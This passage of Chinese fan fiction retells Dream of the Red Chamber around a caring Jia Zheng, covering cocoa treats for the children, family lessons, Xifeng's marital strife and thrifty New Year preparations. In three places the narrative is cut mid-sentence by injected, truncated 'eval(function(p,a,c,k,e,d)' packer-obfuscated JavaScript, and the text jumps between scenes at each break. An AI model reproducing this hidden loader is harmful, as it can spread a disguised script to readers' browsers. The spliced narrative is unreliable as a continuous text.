“老爷不用嘱咐,我也知道的,早就吩咐过凤丫头关照外甥女。何况老太太也疼她,自然事事都会想到她,下人们也识眼色,知道怎么侍奉。”王夫人笑着说。 贾政想了想,又对王夫人说,“你从咱们这里取些钱,换成一串串的铜钱与小银锞子,拿给外甥女。预备着她打点下人用。虽说下人们不敢苛待她,只是你也知道府里的下人,都是富贵眼,难免不因为这个而背后议论她。” 王夫人见贾政对黛玉之事竟然细心至此,知道他也是为了贾敏的缘故,也就点头认真应下了。 夜已深了,屋子里的炭火仍是热热烧着。贾政有些疲乏,他换了姿势,半靠在了软枕上。 “我与敏妹自小亲近,她如今只留了这么一个骨血,我对黛玉好一些,就感觉能弥补一些敏妹不在了的遗憾。”贾政半眯着眼睛,低声说。 “方才还劝慰老太太呢,老爷你也不要自苦了。”王夫人见贾政情绪低落,出言安慰。 “珠儿之前与我说,人生在世,真正重要的只有亲人。咱们的珠儿长大了,看得开了。”贾政又说。 王夫人听了,想到了什么,也不禁眼热,几欲落泪。 “富贵都是梦幻泡影,好像只有一家人热热闹闹坐在一起才是真实的。”贾政仍是低声说着话。 王夫人擦了眼泪,见贾政躺在那里,神态安宁,像是睡着了。 “没喝酒,却醉了。”王夫人摇摇头,低声笑了。 18. 关山正飞雪 谈笑暖室间 有宝玉探春等姐妹们日日陪伴着,黛玉很快就适应了在荣国府的生活。 京城的冬天与扬州很不同,这里总是让人觉得肃杀又萧瑟。黛玉拿着书,有些失神地看着窗外。 窗外,迎春,宝玉,探春三个正欢笑着玩雪。黛玉因为今早起来有些咳嗽,就没出去。心里到底是有些羡慕的。 宝玉进了屋子,先在门口烤了一会儿火,才走到黛玉身边。他怕黛玉也沾了寒气。 “妹妹可好一些了?”这是宝玉今天问的第四遍。 黛玉放下书,笑了笑,没有回答。 黛玉的丫鬟紫鹃笑道,“宝二爷才刚问过,忘了不成?” 宝玉笑了笑,也不恼。 迎春与探春玩得冷了,也进了屋。 “就知道二哥哥来找林姐姐了。”探春喝了一大口热茶,方才说道。 “冬日里老这么待着,也有些无聊。”宝玉叹口气,靠在榻边。 “往年也不是这样嘛,怎么今日却无聊了起来。”探春笑道。 她当然知道宝玉的心思,无非是因为黛玉不能出去玩,怕她坐着无聊,才如此说。 “可以读书烤火,也不觉得无趣。”黛玉体贴道。 “书哪里能时刻都读呢,再好的书,时刻拿在手里,也会腻烦。”宝玉又说。 迎春却是个习惯无聊,安于无聊的性格,也就没说什么。 “要不咱们去太太那里?”宝玉突然说道“前几日老爷吩咐小厨房做的点心,林妹妹很是喜欢!咱们去太太那里玩,又可以吃点心,又热闹。等老爷回来了,说不定带了什么玩意给咱们解闷呢!” 前几日贾政一时兴起,吩咐小厨房烤了一些布丁给孩子们吃,他们都很是喜欢。 “林姐姐想去吗?只是外面冷,若出去咳嗽更重了怕不好。”探春问黛玉。 黛玉却摇摇头,说“只是一点小毛病,哪里就值得这么挂心呢?不过是去舅母那里,离得也近,多穿一件披风,去了也只是坐在屋子里玩,不妨事的。” 黛玉看姐妹们一心关怀着她,又怕她无聊,心里也很感动,不想拒绝。 贾母听了也笑着准了,让他们多穿点再出门。 几个孩子由各自奶妈与丫鬟带着,热热闹闹去了王夫人的院子。 王夫人正与凤姐盘账,见孩子们齐齐来了,也很高兴。忙让她们进屋暖和,孩子们进了屋子,一齐窝在软榻上,个个玉雪可爱。 “要不说老太太好福气呢,有这么几个仙童仙女似的孙子孙女,每日看上几眼,连饭也可以多用一碗。”王熙凤笑着说。 “凤姐姐何时也生个可爱的小侄子侄女呢?我也日日带着他玩。”宝玉笑着打趣王熙凤。 “宝二爷日后肯定是个好叔叔。”平儿见王熙凤没说话,知道她心绪复杂,就应付了一句,转移了话题。 “太太,二哥哥在那边就说要来太太这里要吃布丁呢!”探春拉了王夫人的手,撒娇道。 “你们在老太太那里派个人过来吩咐就是了,黛玉还咳嗽着,再染了风寒可不好。”王夫人也关心黛玉。 “难道你们不亲自过来,还能少了你们一口吃的吗?”王熙凤食指点点宝玉额头,又笑说。 平儿早已会意,“我这去吩咐她们做来。” 正笑闹着,贾政回来了。 冬天没什么公事可做,贾政也没有向皇帝表忠心的机会。他也就乐得偷懒,每日早早就从衙门回来了。 他也没有不好意思,工部各衙门都是这样,只留几个值班的官员。索性近日很是太平,皇帝无事也不找工部的麻烦。 他先换了衣服,才进了屋子。 贾政一进来,王夫人就先端给他一杯红枣姜茶,看他喝过了,才走到王熙凤身边,略略吩咐了几句。 王熙凤见过贾政,笑着离开了,在门口说“一会儿我还要来,那点心可得有我的一份。” 炕上没了位置,贾政随意坐在了火盆前的矮凳上,双手烤着火。 “二哥哥嫌无聊,就撺掇我们几个来太太这里讨点心吃!”探春也坐在火盆前,与贾政挨着。 “说起这个,你们猜我给你们几个带什么好东西回来了?”贾政神秘兮兮地拿出一个方盒子。 “我就猜到老爷挂念着我们,肯定要带玩意回来给我们!”宝玉看了,一副不出我所料的语气,笑道。 “我猜是小摆件,放在桌上的,或者是几块好墨。”黛玉笑说。 “那多没意思啊。”宝玉低声抱怨了,却惹得几人又是笑他。 “总不会是一些金银首饰吧”探春接过盒子,掂了掂,感觉不像。 “也许是吃的呢?”迎春小声说了句,有些不好意思。 “就说迎春聪明,一下子就猜到了!”贾政夸道,走到迎春旁边,将盒子递给了她,让她拆开看。 宝玉急忙凑到迎春旁边,与她一起打开了,原来是玻璃瓶装的两罐深褐色的粉末。 “看着像是药末子,一股苦味。”宝玉拧开盖子,闻了闻,皱了眉头。 “我却觉得又有些焦香味,有点像是核桃仁焙过的味道。”黛玉也凑上来闻了闻,她喜欢这个味道。 “我再闻闻,刚才不仔细。”宝玉看黛玉笑了,像是喜欢,就又要拿过来。 “二哥哥不喜欢不如拿来给我看。”探春手快,先宝玉一步从黛玉手里拿过了罐子。 “哼”宝玉皱了鼻子,轻哼一声。 探春与迎春坐到一起,紧挨着。 “的确有坚果焙过的油香味”探春笑道, “还有一点奶味”迎春补充道。 “看她们俩,一有吃的就这么投入”宝玉推推黛玉肩膀,笑说“咱们不和她们一样。” 黛玉却推开了宝玉,也与迎春探春坐到了一起,“也不知道谁刚才要和三妹妹抢呢。”说罢朝宝玉促狭一笑。 宝玉也不恼,“我也要与你们一起坐,挤一挤更暖和。”就也要坐过去,被王夫人按住了。 王夫人将宝玉搂到怀里,摸摸他头“你总之是说不过姐妹们的,还不如问问老爷这东西怎么吃,知道了就快去做来,服侍几位姑娘!”王夫人也打趣宝玉。 “连太太也欺负我!”宝玉哼了几声,在王夫人怀里打滚撒娇。 贾政看看宝玉,也无奈笑了。 “这个粉末其实是南洋传来的一种饮品,叫做巧克力。简单点的做法就是像泡茶一样,用开水一冲就可以喝,味道微苦,却有坚果香味,与茶叶大不相同。最适合冬天喝了。” 宝玉听了,急忙抬头说“我知道了!这是叫做绰科拉的,要与肉桂白糖煮了喝。之前老太太拿给我尝,我不喜欢,老太太就把那一罐子赏给丫鬟了。” “还以为老爷拿了什么新奇玩意来呢。”宝玉做失望状,学着贾政的模样,使劲摇了摇头。 “宝玉今日胆子大了,舅舅舅母快快罚他!”黛玉笑说道。 贾政佯装生气,伸出手就要打宝玉,宝玉忙躲在黛玉旁边,喊着“林妹妹救我!” 孩子们笑闹着,宝玉更是满炕打着滚。黛玉看宝玉滑稽,忍不住笑,笑多了又咳嗽,只好强忍着,脸都憋红了。 笑闹罢,贾政又继续说“宝玉之前喝的也许是做法不对,才不好喝。我知道许多做法,保证你们个个都喜欢。既可以做喝的,又可以做了点心,样样都香甜可口。” 可可粉,最适合做饮料甜品。因此贾政一收到这两罐漂洋过海来的可可粉,就想到几个孩子。 “那么怎么做呢?”宝玉看贾政说得夸张,又有了兴趣。 贾政没告诉他,自己亲自去了小厨房,交待了厨娘如何去做。先将牛乳滚热,加一点白糖煮化,再加入几勺可可粉,搅匀。另外还让正在烤布丁的厨娘,烤好后撒一些可可粉。 很快,丫鬟就将牛乳可可与可可布丁端了上来,热腾腾摆在了几个孩子面前。 王夫人见孩子们吃得开心,就悄悄起了身,被贾政伸手拉住了。 “老太太,凤丫头与珠儿那里,我已经吩咐丫鬟了,一会儿做好了就送过去。”贾政笑着说。 王夫人微微笑了一笑,坐到了贾政旁边的椅子上,满眼温情地看着孩子们。 “这份是夫人的。”贾政吩咐王夫人的丫鬟锦屏又端了一份放到了桌前。 王夫人本不喜欢小孩子吃的甜食,但是贾政一片心意,她不想拒绝。 “我特意让厨娘给你这碗没有加糖,但是多放了一小块奶油。没什么甜味,但是奶香味更浓一些。”贾政见王夫人轻抿了一口,神色正常,就笑着说。 孩子们吃罢点心也喝完了可可牛乳,都很满意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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前些日子,贾政得了闲,就思考了孩子们读书的事情。他并不想请那些老学究们当先生。贾府的下一代男丁中,正读书的只有宝玉,但宝玉个性并不喜欢仕途经济,贾政从来对他没有这方面的期许。 只是若是真的请来一个太出格的先生,贾母那边肯定也不会同意。 思来想去,贾珠却很合适。一则,都是兄弟姐妹们,孩子们跟着贾珠读书,也放松。二则也是给贾珠找点事情做。第三个原因,却不太寻常。 贾政看到贾珠已经坐好,点点头,继续说道“你们几个都是喜欢文墨的,因此跟着珠大哥上学,不只是让你们开蒙识字。” 贾珠顿了顿,见孩子仍旧认真听着,就继续说“还要读一些正经书。” 宝玉听到正经书,已经开始害怕。黛玉捏捏他手,让他继续听着。 “四书要读,诗经要读,另外还要读些史书。”贾政又道。 贾珠听了却有些惊讶,宝玉读这些也就罢了,妹妹们却没必要读史书。 李纨也有些惊讶,她虽然出身书香世家,但她父亲认为“女子无才便有德”,所以教导女儿只注重女工针线,不怎么让读书。她嫁入贾家后,规矩又多,贾珠先前身子也不太好,她日常只好谨言慎行,努力做一个贤淑媳妇。 而贾政所说却正合了黛玉的心意。林如海贾敏夫妇在教育黛玉上,从来是当男孩子来看,黛玉在扬州已经学了四书,来到贾府,也是因为贾母不太喜欢女儿家读书,也就没有太表现。 “那好极了,我们什么时候上课呢,先生?”宝玉情绪变得很快,只因他听了贾政说的话,感觉还挺有意思,而且黛玉也欢喜。 “二哥哥方才不是还很愁苦吗?”探春又逗宝玉。 “哪有,三妹妹胡说。”宝玉不愿意承认。 迎春听了贾政的安排,没有意见,凡是长辈们安排的,她都遵从。 “那么就从明日开始,先看看你们各自的水平,为师才可以因材施教。”贾珠笑说。他本也是个活泼的性子,只是先前有一些自我压抑。如今想开之后,与宝玉更像了。 一时又到晚饭时间了,贾母那边派了人来问。贾政携妻带子,一大帮人,热热闹闹去了贾母处。 “老爷,只是你那会儿说的,我不太明白。”饭罢,贾珠想问问贾政对弟弟妹妹读书的安排。 “别太忧心。明天就先考考他们,看他们基础如何。”贾政安慰贾珠。 “至于后续学习,你也不要有压力。你就当做与姐妹们结一个书社,不需要太严肃,只是读一些历史故事,大家分享些感受。或者是读了诗之后,有兴趣的再仿着写一写。” 贾政看贾珠仍旧有些困惑,又说道“总之让他们自由发挥,自在一点就是了。” 19. 一夜北风紧 围坐论古今 贾琏自从回了京,处处都觉得不自在。 他想找回扬州女子身上那种温婉可人的气质,只是王熙凤与平儿都不是这样的人。贾琏心中不满,就起了别的心思。 王熙凤却不惯着他。她也发现贾琏自从去了一趟扬州,回来之后总是对那些身材纤细的,楚楚动人的丫鬟媳妇不怀好意。每日晚上在床上,还要哄她摆出一副可怜样子,服侍他,求着他。 初时她都照做了,他们成亲也没几年,关系还算亲密,想来这也是夫妻情趣。 只是慢慢地就变了味,王熙凤感到贾琏要把她揉搓成另一个人,不论是在床上还是平日里。王熙凤顶喜欢自己的性格,才不愿意为了贾琏变得不像自己。 夫妻间的矛盾自然产生了。 那日,贾琏吃罢早饭就说出去有事。晚上又是喝得烂醉。 王熙凤皱眉看贾琏醉酒后躺在床上的丑态,很是看不下去。打发了个小丫鬟服侍贾琏。 她吩咐平儿叫了贾琏的小厮旺儿,几人去隔壁屋子谈话。 王熙凤问旺儿这几日二爷都去哪里。旺儿本不敢说,只是王熙凤一拍桌子,旺儿禁不住吓,全说了。 原来贾琏走遍京城的花楼,就想找那江南来的姑娘。今日那醉云坊的妈妈一见贾琏来了,就像看到明晃晃的金锭那样,忙拉了贾琏神秘说了几句。贾琏听罢就兴冲冲进去了。 醉云坊新来了江南的歌女,人又水灵,琵琶弹得又好。一口与京话完全不同的吴侬软语更是让贾琏立刻酥了身子,打赏出去的银子不知道多少,总之钱袋是空了。 王熙凤听罢,强忍着怒气,让旺儿退下了。 平儿在旁,看王熙凤动了怒,也不敢劝,只是轻手轻脚给王熙凤泡了杯茶,端到了面前。 “放下吧,我不想喝。”王熙凤揉揉眉心,不愿意冲平儿发火。 “二爷向来就是如此,奶奶怎么今日气成这样。”平儿为王熙凤揉着太阳穴,又柔声劝道。 王熙凤哪能将她近日与贾琏在床上的事情说与平儿听。只是那种感觉很细微,她也怕说了,平儿更不理解。 她压下了怒火,对平儿说“怪不得二老爷与太太日夜操心府里的账目,总是让我早做省俭。你说咱们府里一个琏二爷日日只晓得喝花酒,一个宝二爷年纪虽小,却只喜欢与姐妹们玩乐。家里后继无人,繁盛又能维持几时呢?”王熙凤难得说这些丧气话。 因为贾政的吩咐,每到月底,王夫人总是与王熙凤一起盘账。娘们俩细细分析着府上又有哪些事项是可以省俭的,因此这几个月来,王熙凤也着实看到了贾府的困窘。 若是不早做计划,银子就这么淌水似的花下去,不消十年,也就挥霍干净了。 “只是奶奶白为他们忧心,却没几个人听你的。幸好太太时常为你撑腰,不然这几个月下来,那些下人们早就要当面抱怨奶奶了。”平儿宽慰王熙凤“不是有个大小姐在宫里吗?况且二老爷最近在朝中好像也很受圣上重视呢。” 王熙凤点点头“这么大的家族,单靠二老爷一个人,怕是独木难支。”说罢又是叹气。 “可是大老爷与二爷那个性子,早就定了,奶奶再担忧也改变不了他们。”平儿虽在宽慰王熙凤,自己也有些忧愁。 “我若是个男子,必定出去立一番事业,哪里需要在这里受这些窝囊气。”王熙凤恨声道。 “奶奶若成了男子,焉不知也会像二爷那样纵情享乐呢?”平儿故意逗王熙凤。 “也有可能”王熙凤回答得却很认真,“只是那时候,起码我可以完完整整地,不受人管辖,也不会任人揉搓。” 平儿见王熙凤说得累了,不欲再开口引出她愁绪,就哄着她去睡了。 北风呼呼刮了一夜,次日一早,天完全晴了。 今日贾珠与弟弟妹妹们的学堂正式开课。 姐妹几个很早就开了蒙,识字就不用学。再说诗词歌赋,迎春平庸一些,惜春年纪小,都做不来诗,另外三个却都很有才华。 贾珠让他们每人即兴写一篇咏雪诗,不消片刻,三人就都写好了。 贾珠看了看,喜道“没想到咱们家有这么多才子才女,我这做哥哥的竟也不如你们。” 这是实话,贾珠虽自幼聪慧,早早读书进取,只是在诗词上却没什么灵气。写诗最重要便是天赋。而宝黛探三人,都很有天赋。 “咏雪太简单,古往今来,不知道多少名篇佳句,先生应当换个题目。”宝玉得意说道。 “宝玉你还是收着点,不要显摆了。我看你就没有林姐姐写得好。”探春故意刺激宝玉。 “林妹妹自然是写得好。”宝玉先夸了黛玉,他口气一转,看向探春, “我只要比三妹妹写得好就满意了。”说罢赶紧走到黛玉旁边,怕探春打他。 探春无奈哼了一声,没真的追着宝玉去。 “宝玉好好坐着,上课要认真对待,不许胡闹。”贾珠将宝玉叫回了座位。 “你们两个也不要难过,他们三个比我这个先生都写得好,我是自愧不如的。”贾珠见迎春神情低落,就安慰她们。 迎春也没说什么,她习惯了自己在众姐妹中的平凡。 惜春年纪最小,也从来不会在姐姐们跟前争强好胜。 贾珠没再让他们写诗,教了他们一些书法技巧。 教罢,就让他们学着颜体,抄一篇多宝塔碑。贾珠时不时为他们指点一下。 练字最是磨练人的性格,需要沉稳细心,这正是宝玉所缺的。贾珠也就时时看着宝玉的动向,见他也很认真,贾珠暗自点头。 姐妹几个临完了帖子,贾政进来了。见贾珠正与孩子们讲着各自的书法,就没有打扰。 “颜公其人,端方正直,他的字也是相似,端庄雄伟,与柳公权并称为颜筋柳骨。”贾珠说道,“你们年纪还小,练字需要多模仿名家,待日后写得好了,有了自己的想法,就可按照喜好再学习。” 几个孩子都认真应了。 “你们谁知道颜真卿有什么事迹吗?”贾政突然开口问。 有唐一代,颜家满门忠烈,后世人皆称道。 这个问题难不到黛玉,只是她没先说话。 “我知道颜公在安史之乱时,挺身而出,不顾危难,死守河北。敌军为了逼他投降,虐杀他全家老小,而颜公均没有被劝降。”探春慢慢说道,“他在见到装有侄子头颅的棺木后,悲痛难忍,写下了赫赫有名的行书,祭侄文稿。”探春说到这里,也很动容,略有些哽咽“我看了摹本,只觉得字字含悲,那些墨点更像是颜家的血泪。” 探春喜欢书法,对这些名家的事迹自是了然于胸。 宝玉听得有些入神了,口中喃喃“我总以为那些为官为相的,不是庸俗就是禄蠹,没想到还有如此有气节的人物!” “你不知道的还多着呢,以后不要坐井观天就是了。”黛玉轻声对宝玉说道。 探春也缓了过来,对自己的失态有些赧然。 “探春博学,这很好。不要因为自己是女孩,就先限制了自己。”贾政摸摸探春头,柔声说。 “虽然你们之后不能像男子那样争取功名,但幼时多读些书,多了解一些古往今来的人物事迹,足可滋养你们。即使不能有大成就,也不重要。从书中学到的精华在你们的脑子里,没人能限制你。日后无论在什么样的境遇下,都不会轻易就放弃了自己。”贾政缓缓说道。 孩子们见贾政严肃,都郑重点了点头。 贾政说罢,又拿出了三国志递给贾珠,说“这本书你拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“珠大哥每日只是教我们读书习字,偶尔讲些诗词。老爷让珠大哥教姐妹们,也是因为珠大哥空闲,兄弟姐妹们亲厚,一起读书学习是两全其美的好事。” 顿了顿,探春观察贾母神色,又说 “只是初时,老爷并没有要让二哥哥一起读书,二哥哥舍不得与姐妹们分开,就闹着也要一起,老爷拗不过他,就勉强答应了。只是还嘱咐二哥哥,日后还会为他找更严厉的先生来教他。”探春知道贾母疼宝玉,此时搬了宝玉出来,贾母应该也不会再为难。 “是啊,老太太,还是我那日央求老爷,老爷才答应的呢,我只是与姐妹们成日在一起玩习惯了,不想与她们分开。老太太就不要生气了,气大伤身呢。”宝玉走到贾母跟前,半个身子埋进贾母怀里,边说边撒娇。 贾母见是宝玉的缘故,又怎么好继续为难?贾母一只手亲切拉过了探春,笑说“是我老糊涂了,错怪了你太太,三丫头就为我赔个不是吧。” 探春走到王夫人身边,轻声说了,王夫人也是亲热地搂紧探春。 这边暂时和谐了。 黛玉悄声在旁边,却有些难过。黛玉聪慧又细心,她看得明白,贾母是在朝王夫人发难。 原来素日慈爱的外祖母也会因事训斥舅母,大家族的规矩真不是那么简单的。 黛玉心里叹息,面上也没有显现。 来京这些日子,她日日受着贾母的宠爱,姐妹们也陪伴她,舅舅舅母同样体贴疼爱她,让她一时忘记了自己那些烦心事。 她有些怀念扬州。那时候,父母亲都在,他们相敬如宾,从不会红脸。 家里也没有太多规矩,她心里有什么事,总是直接说给母亲。 母亲会耐心宽慰她,与她细细解释。 黛玉想家了。 20. 贺新春贾母失颜面 那日在贾母屋里发生的事情,贾政很快也知道了。他除了无奈也别无他法。 贾母是贾家目前辈分最高的,地位尊崇的老封君。如今又是重视孝道的时代,贾政不可能因为贾母说了什么话而去指责她。 况且,若要细究的话,贾母所说也没有什么不合适的地方。不过是正常的询问几句罢了。 王夫人没有很在意那天发生的事,做媳妇这么多年,王夫人经见的也多了,她一时难过,很快也因为习惯而忘了这件事。 或是出于内疚,或是出于关怀,贾政觉得自己应当有所表示。 贾政日日从衙门回来都要带些女子喜欢的,爱用的小玩意给王夫人,让她很是意外。 进入腊月,王熙凤正与王夫人治办年事。 贾政刚走进屋子,王夫人见到贾政却先微微红了脸,怕贾政当着王熙凤的面给她什么东西,还要说着是特意带给她的。 王熙凤很会察言观色,她向贾政行过礼,就要走,临走时还笑着说“今日太太不方便,我明日再过来。” “这个凤丫头!”王夫人用佯怒来掩饰尴尬。 贾政坐到王夫人身边,觉得她此时的神情有些好笑。 “冬日干燥,风又大,夫人每次洗干净手,在手上抹一层,滋润保湿。”贾政笑着递过来一罐手脂。 “这是京城这些日子最时兴的,那香兰阁门口因为这东西日日排了长队。你说他们给个手脂起名叫做香兰泣露,多雅致,难怪公子小姐们争抢着也要去买了。”贾政又说。 王夫人只是赧然接下了,没说什么。 年关将至,国公府的新年可想而知要多么气派。只是今年荣国府比起宁国府却低调很多。 “你们今年怎么少预备这么多东西?”宁国府贾珍的妻子尤氏今日来王熙凤这边,商议新年祭祀宗祠的事情。她看了王熙凤备的单子,很是惊讶。 “老太太和太太能同意吗?”尤氏问王熙凤。 王熙凤笑了笑,说道“这正是太太与我商议过后才定下来的。” “老太太呢?”尤氏又问。 “二老爷说让我放心办事,老太太那里由他去说。”王熙凤回道。 “二老爷也管家?”尤氏不知道贾政竟然还管内宅的事情。 王熙凤点点头。 “是不是今年庄子上···?”尤氏欲言又止,她知道荣府田庄发生的事,猜测他们今年收成有限,无奈减了排场,只是也不太可能因此不顾及面子。 王熙凤摇摇头,“那倒不是,只是老爷说圣上不喜大族人家太过奢侈。老爷投其所好,所以总是叮嘱我们府里不可铺张。” 王熙凤与尤氏关系亲密,她今日说的这么直白也是存了好心,想让东府那边也能收敛些。 尤氏听了,点点头,“若是圣上不喜,咱们也不可触了霉头。”她顿了顿,神情复杂,又说“只是你大哥哥他···” 话没说完,王熙凤自然知道内情。贾珍在东府说一不二,又是个荒唐爱享受的,他不可能愿意和荣府这边一样省俭的。 她拉住尤氏的手,安慰道“总之咱们做媳妇的虽然管家,也是为他们男人们做事。他们若不愿意,咱们何必去劝,反而惹得他们不高兴呢。” 尤氏无奈笑笑,也没再说什么。 王熙凤看向平儿,示意了一下。平儿就将一份名单递给尤氏,温声说道“这是正月里预备吃年酒请的客人,奶奶拿去看了,吩咐底下人拟单子时别重复了。” “还是你想得周到”尤氏笑着对王熙凤说“前几日你大哥哥还说要让我来问你单子拟好了没有,只是事情太多,我给忘了。” “林姑娘,扬州那边来信了!”紫鹃兴冲冲跑回屋子,到处找黛玉。 “姑娘在宝二爷那里呢!”雪雁说道。 此时,黛玉正在宝玉屋里,迎春探春也在,姐妹四个正在下棋。 因为王夫人那边正忙,他们也就不在那里添乱。 “姑娘,扬州来信了。”紫鹃走到黛玉身侧,把信递给了她。“方才太太派人叫我过去拿的,还说林家另送了年礼来呢。” “果真是林姑父来的!我就说快过年了,姑父肯定要来信的。你快打开看看!”宝玉催促黛玉。 前几日黛玉就对宝玉说过,她都到京城快两个月了,怎么父亲还不来信。宝玉自是知道黛玉想家了。 黛玉欢欢喜喜地接过,逐字看罢,又是欢喜,又是伤心。 “是姑父身体不好吗?”探春看黛玉眼泛泪光,轻声问道。 黛玉先点点头,后又摇了摇头。 姐妹们知道她此时大约心情复杂,又喜又悲,就没有催促她,耐心等她平静下来。 “我还在家时,父亲身体就不太好,人也消瘦。只是他信上说自己身体强健许多了,我听了也高兴,却又不太相信。”黛玉轻声道。 “姑父既然特意说了,应当是身体有好转,你何必多疑呢?”宝玉安慰黛玉。 “父母总是担心子女,却又不想让子女为他们担心。这是人之常情。林姐姐切莫自苦,看开些罢。”探春也安慰道。 黛玉用帕子轻轻擦了眼泪,笑道“你们几个日日劝我,我也听进去了许多,只是今日父亲来信,我大约是激动过头了。” “姑父信中还说什么了吗?”迎春不擅长安慰人,想着转移话题。 黛玉笑道“父亲还说,送年礼的下人们带了许多扬州的土产与玩意来。” “那咱们快去看看,其中定有林姑父特意带给林妹妹,为她解思乡之情的东西!”宝玉想立刻去王夫人那里。 紫鹃笑着说“我刚从太太那里过来,那边忙得脚不沾地,人与年货占满了屋子。来来往往的都是有事要找太太与二奶奶的。二奶奶说让你们不要着急,等那边一一登记,分好了之后,再拿来给你们。” 宝玉有些不好意思地挠挠头“那是我太心急了。” “你只是遇到与林妹妹有关的事情就心急。”迎春难得也打趣宝玉。 宝黛二人都是微微红了脸。 “二姐姐往日最是少言,怎么今日也来逗我。”黛玉轻声说道,也是不好意思。 到了下午,王夫人那边就派人把林如海送来的年礼单子拿给贾母看了,又挑了一些贾母喜欢的一一看过。 王熙凤吩咐平儿带人,将送给公子小姐的土产玩意拿到黛玉屋子,让他们姐妹几个挑选。 姐妹们也都新奇扬州的小玩意,玩闹着每人挑选了几样喜欢的。 探春挑的尽是直而不朴,别有意趣的玩意,既有笔筒,笔架,还有茶杯瓷瓶之类的。 迎春挑了一副桂木做的围棋,还有一些手帕布匹。 宝玉没顾上挑选,他忙着听黛玉给他介绍扬州的风俗人情。 “妹妹,这也是吃的吗?怎么姑父送了好多吃的来?”宝玉拿起一包干菜,笑道。 黛玉笑着接过“你不认识,这是笋干与马蹄,这是咸肉。” “我知道了,姑父给你送了食材过来,知道你想念腌笃鲜了。让你在京城也能吃到扬州味道。”贾家祖上是金陵的,因此一应饮食也是江南口味。 “只是姑父不知道咱们常有金陵老家送来的土产,也能吃到腌笃鲜。”宝玉笑道。 黛玉轻轻摇摇头,回道“我自幼体弱,有些东西即使爱吃也吃不下许多。在家里时,唯独周妈妈做的小菜让我喜欢,每次佐粥吃,我总是能多吃一些。” “父亲心细,肯定早早就吩咐周妈妈亲自晒了咸肉与干菜,预备着送来京城给我。”说到这里,黛玉更是难掩对父亲的思念。 “好好的,怎么又哭了呢?”宝玉安慰道。 “宝玉你别着急,情绪哪是那么好控制的呢?林姐姐心里难过,随即就哭了,发泄出来,总比一直窝在心里的好。憋的久了,更要生病。”探春揽着黛玉,轻轻拍她脊背,轻声安慰着。 “宝二爷是男子,一时着急了。只是宝二爷,你没看到林姑娘连日来笑容也不少吗?”平儿掀了帘子走进来,笑着说。 平儿方才受王熙凤吩咐来这边送东西给黛玉和贾母,刚才又与鸳鸯聊了几句。临走时听到屋子里有些吵闹,就进来看看。 “可能是我不懂姑娘们的心思吧。”宝玉笑笑。 黛玉在探春的安慰下止住了眼泪,此时正调皮地看着宝玉。 “你们几个玩吧,我要回去接着忙了,太太与二奶奶那边,还不得空呢!”平儿笑着离去了。 腊月三十那天,贾母与府上有诰命的,都按品级穿朝服进宫朝贺。宴罢回来,就去宁府祭宗祠。 还像往年一样,宁府一应礼仪陈设都极尽奢华。贾家宗族人多,规矩也多。 等祭祀事完,众人都累得不行,只是习惯了,面上强撑着。 尤氏要留贾母用过酒席再走,被贾母婉拒了。 一行人又来到荣府贾母正房,这边也是焕然一新,只是比起宁府,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“老太太,看我带了什么来?”贾政笑吟吟走到贾母身前,身后还跟着两个丫鬟抬着东西,用红布罩着。 “这么大,肯定是尊佛像,金的还是檀木的?”贾母笑道。 “母亲太了解儿子了,一猜就中。”贾政笑着吩咐丫鬟掀开了红布。 是一尊白玉观音,二十多斤重。眼含慈悲心,手持净瓶杨柳。 贾母看了看,眼睛微眯,没有立刻说什么。 “儿子三个月前特意找人做好的,又派人去长安的大慈恩寺开过光。”贾政走到贾母跟前,搀扶起她,去看观音像。 “你们看看,咱们家的老太太,这面相与观音是不是很有几分相似?”贾政笑着环视一圈,开口道。 几个丫鬟也纷纷来凑趣,说贾母慈悲,真是府上的观音菩萨了。 慈悲?贾母口中默念。鸳鸯搀着贾母又坐了下来。 贾母已看出了贾政是铁了心的要将之前说的改革进行到底。这半年来,桩桩件件,贾政想了无数办法,她都默许了。今日她只是随便提点一下王夫人与王熙凤,贾政却巴巴赶来了。 贾母虽然爱排场爱面子,只是又何尝不为贾家的前途考虑呢? 贾政今日当着众人送了观音像来,含义已经很明显了。那么她为何不乐得做个慈悲心肠的活菩萨呢? 贾母有些累了,不想再生气了。 从贾母处离开,王夫人一路上忧心忡忡。待回到院子里,坐在了炕桌前,仍是担忧。 她犹豫片刻,开口说“老爷,今日是不是有些过了?老太太并没有说什么···” 贾政无奈道“方才我是有些冲动了,只是我担心老太太又要阻拦,所以才出此下策···” “我也是没有办法,只能快刀斩乱麻。我知道老太太心里看我与贾府都很重,但我也不想半年的改变,又遇到障碍回到从前。” “老太太并不是真的要训斥哪个,不过随意问几句罢了。”王夫人叹道。 贾政倒了杯茶,放到王夫人手边,又柔声道“今日是我的错,以后再不这样做事了,夫人莫要担心。” “另外我心里还有别的计划,我怕日后老太太再做阻碍。”贾政很坦白。 “老爷说的其他安排与宝玉有关?”王夫人问。 贾政点点头,又摇摇头。 “不只是宝玉,还有府上的几个姑娘。” 王夫人也就没有再问。 “不用忧虑了”贾政轻轻抚摸王夫人脊背,宽慰道“老太太那边已经想通了,不会再为难你们。这些日子你辛苦了,元宵节快到了,咱们仍是一切从简。这下子,你和凤丫头可以放手去办了。” “只是···”贾政话没说完,就被王夫人打断。 “不要铺张也不要寒酸。”王夫人说。 贾政笑笑,很是豪气地饮尽了杯中茶。 21. 庆元宵儿女看花灯 元宵节那天,荣府在大花厅摆了几席酒,安排了几出戏,请了贾家族里来往的多的亲友,算是家宴。 王夫人本来忧心贾母会因为前日的事情不高兴,这几日在贾母面前也是小心翼翼。 没想到贾母却是神色如常,并没有对她与王熙凤再说什么严厉的话。 问起元宵节的安排,贾母也很是体谅,只是说你们看着打点。王夫人略略放了心。 冬日天黑得早,酒席自午时开始,一直要到深夜。 晚上天刚擦黑,荣府上下就亮起了各色灯笼,样式繁多,让人看得眼花缭乱。 